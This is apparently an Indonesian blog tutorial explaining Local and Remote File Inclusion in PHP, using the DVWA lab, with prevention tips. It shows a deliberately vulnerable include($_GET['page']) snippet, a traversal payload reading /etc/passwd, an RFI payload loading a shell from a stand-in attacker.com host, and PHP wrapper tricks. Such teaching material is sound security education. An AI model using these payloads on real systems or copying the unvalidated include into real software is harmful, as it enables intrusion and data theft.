June 29, 2026
Belajar tentang File Inclusion dalam Penetration Testing
File Inclusion merupakan salah satu kerentanan pada aplikasi web yang memungkinkan penyerang mengakses atau memuat file yang seharusnya…

By Aditya Ardiansyah
2 min read
File Inclusion merupakan salah satu kerentanan pada aplikasi web yang memungkinkan penyerang mengakses atau memuat file yang seharusnya tidak dapat diakses. Kerentanan ini sering menjadi target dalam proses penetration testing karena dapat menyebabkan kebocoran informasi sensitif hingga membuka peluang serangan yang lebih serius. Pada artikel ini akan dibahas konsep dasar File Inclusion, jenis-jenisnya, contoh payload, serta cara pencegahannya.
Apa Itu File Inclusion?
File Inclusion merupakan kerentanan yang memungkinkan aplikasi memuat file berdasarkan input dari pengguna. Jika proses validasi tidak dilakukan dengan benar, maka penyerang dapat mengakses file yang seharusnya tidak dapat diakses.
Contoh sederhana pada PHP:
<?php
include($_GET['page']);
?><?php
include($_GET['page']);
?>Kode di atas terlihat sederhana, namun sangat berbahaya apabila nilai parameter page tidak divalidasi terlebih dahulu.
Jenis-Jenis File Inclusion
Secara umum terdapat dua jenis File Inclusion.
1. Local File Inclusion (LFI)
Local File Inclusion (LFI) memungkinkan penyerang mengakses file yang berada pada server tempat aplikasi berjalan.
Contohnya:
?page=../../../../etc/passwd?page=../../../../etc/passwdPayload tersebut mencoba melakukan Directory Traversal hingga mencapai file /etc/passwd pada sistem operasi Linux.
File /etc/passwd sering digunakan sebagai target pengujian karena umumnya dapat dibaca oleh pengguna biasa dan menjadi indikator bahwa kerentanan LFI berhasil dieksploitasi.
2. Remote File Inclusion (RFI)
Berbeda dengan LFI, Remote File Inclusion (RFI) memungkinkan aplikasi memuat file dari server lain melalui URL.
Contohnya:
?page=http://attacker.com/shell.php?page=http://attacker.com/shell.phpApabila server mengizinkan konfigurasi tersebut, maka file dari server eksternal dapat dijalankan oleh aplikasi target.
Namun pada PHP versi modern, fitur ini sudah dinonaktifkan bahkan dihapus karena memiliki risiko keamanan yang sangat tinggi.
Konfigurasi PHP yang Mendukung RFI
Pada lingkungan laboratorium seperti DVWA, agar simulasi RFI dapat berjalan diperlukan konfigurasi berikut pada file php.ini.
allow_url_fopen = On
allow_url_include = Onallow_url_fopen = On
allow_url_include = OnKonfigurasi yang paling berpengaruh adalah:
allow_url_include = Onallow_url_include = OnKonfigurasi tersebut memperbolehkan fungsi include() dan require() memuat file melalui URL.
Payload untuk Membaca File /etc/passwd
Saat melakukan pengujian terhadap kerentanan LFI, payload yang paling umum digunakan adalah:
../../../../etc/passwd../../../../etc/passwdJumlah ../ dapat disesuaikan tergantung kedalaman direktori aplikasi.
Jika payload berhasil dijalankan, maka aplikasi akan menampilkan isi file /etc/passwd, yang menjadi indikasi bahwa kerentanan LFI benar-benar ada.
File Wrapper (Schema) pada PHP
Selain menggunakan Directory Traversal, PHP juga menyediakan berbagai wrapper atau schema yang dapat dimanfaatkan dalam proses pengujian.
Beberapa wrapper yang umum digunakan antara lain:
WrapperFungsifile://Mengakses file lokalphp://filterMembaca isi file dengan filter, misalnya Base64php://inputMengakses data dari request bodyzip://Mengakses file di dalam arsip ZIPphar://Mengakses file PHAR
Wrapper yang paling sederhana untuk mengambil file lokal adalah:
file:///etc/passwdfile:///etc/passwdPada beberapa kondisi, wrapper seperti php://filter juga sering digunakan untuk melihat source code aplikasi tanpa mengeksekusi file tersebut.
Validasi File Inclusion pada DVWA
DVWA (Damn Vulnerable Web Application) merupakan aplikasi yang sering digunakan untuk belajar penetration testing.
Pada modul File Inclusion dengan Security Level High, pengembang telah menambahkan validasi agar tidak semua file dapat dimuat.
Salah satu metode yang digunakan adalah fungsi:
fnmatch("file*", $file)fnmatch("file*", $file)Pattern tersebut hanya mengizinkan file yang diawali dengan kata "file", sehingga payload sederhana seperti ../../../../etc/passwd tidak dapat langsung dijalankan.
Meskipun demikian, tujuan dari level High adalah memberikan gambaran kepada peserta mengenai pentingnya validasi input dalam mencegah serangan File Inclusion.
Dampak Kerentanan File Inclusion
Apabila berhasil dieksploitasi, File Inclusion dapat menyebabkan berbagai dampak serius, di antaranya:
- Membaca file konfigurasi aplikasi.
- Mengakses informasi kredensial database.
- Mengetahui struktur direktori server.
- Mengungkap source code aplikasi.
- Menjadi langkah awal menuju Remote Code Execution (RCE) pada kondisi tertentu.
- Mengambil informasi sensitif yang seharusnya tidak dapat diakses oleh pengguna.
Karena itu, File Inclusion termasuk salah satu kerentanan yang memiliki tingkat risiko tinggi apabila tidak segera diperbaiki.
Cara Mencegah File Inclusion
Beberapa langkah yang dapat dilakukan developer untuk mencegah kerentanan ini antara lain:
- Hindari menggunakan input pengguna secara langsung pada fungsi
include()ataurequire(). - Gunakan whitelist terhadap file yang boleh dimuat.
- Validasi seluruh input dari pengguna.
- Nonaktifkan fitur yang tidak diperlukan, seperti
allow_url_include. - Batasi hak akses file pada server.
- Selalu lakukan update PHP dan framework ke versi terbaru.
- Lakukan pengujian keamanan secara berkala menggunakan pendekatan penetration testing.
Jadi Kesimpulannya bang,
File Inclusion merupakan kerentanan yang perlu dipahami baik oleh penetration tester maupun developer. Dengan mengenali cara kerja LFI dan RFI serta menerapkan validasi input yang baik, risiko eksploitasi dapat diminimalkan. Memahami kerentanan ini membantu meningkatkan keamanan aplikasi web dan mencegah terjadinya kebocoran data maupun serangan lanjutan.